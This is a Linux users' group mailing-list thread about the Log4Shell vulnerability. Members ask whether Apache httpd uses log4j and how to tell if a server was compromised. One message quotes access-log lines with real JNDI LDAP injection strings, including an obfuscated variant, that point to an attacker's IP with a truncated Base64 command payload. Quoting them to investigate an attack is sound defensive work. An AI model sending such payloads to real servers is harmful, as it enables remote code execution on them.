httpd does not use log4j. solr, on the other hand, normally does. ...and Minecraft, if that applies to your server :P ~Chris On 12/15/21 15:26, Keith Wright via WLUG wrote:
Michael Voorhis <mvoorhis@mcvau.net> writes:
Log4j is a Java logging library. If you're running apache and not using Java, I don't think you need to be concerned.
See here...
https://en.wikipedia.org/wiki/Log4Shell Interesting link, thanks for that.
I don't use Java, but is Apache using it without my knowledge?
NB: I am a bear of little brain. -- Pooh I can't. I don't know how it works! -- OZ
I find in /var/log/httpd/access_log
95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... ... "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... ...
So they are trying. How can tell if they succeeded?
I have "gij" installed (by distro). I didn't know that two hours ago.
What would break if I just deleted that?
-- Keith _______________________________________________ WLUG mailing list -- wlug@lists.wlug.org To unsubscribe send an email to wlug-leave@lists.wlug.org Create Account: https://wlug.mailman3.com/accounts/signup/ Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/XJKARZ...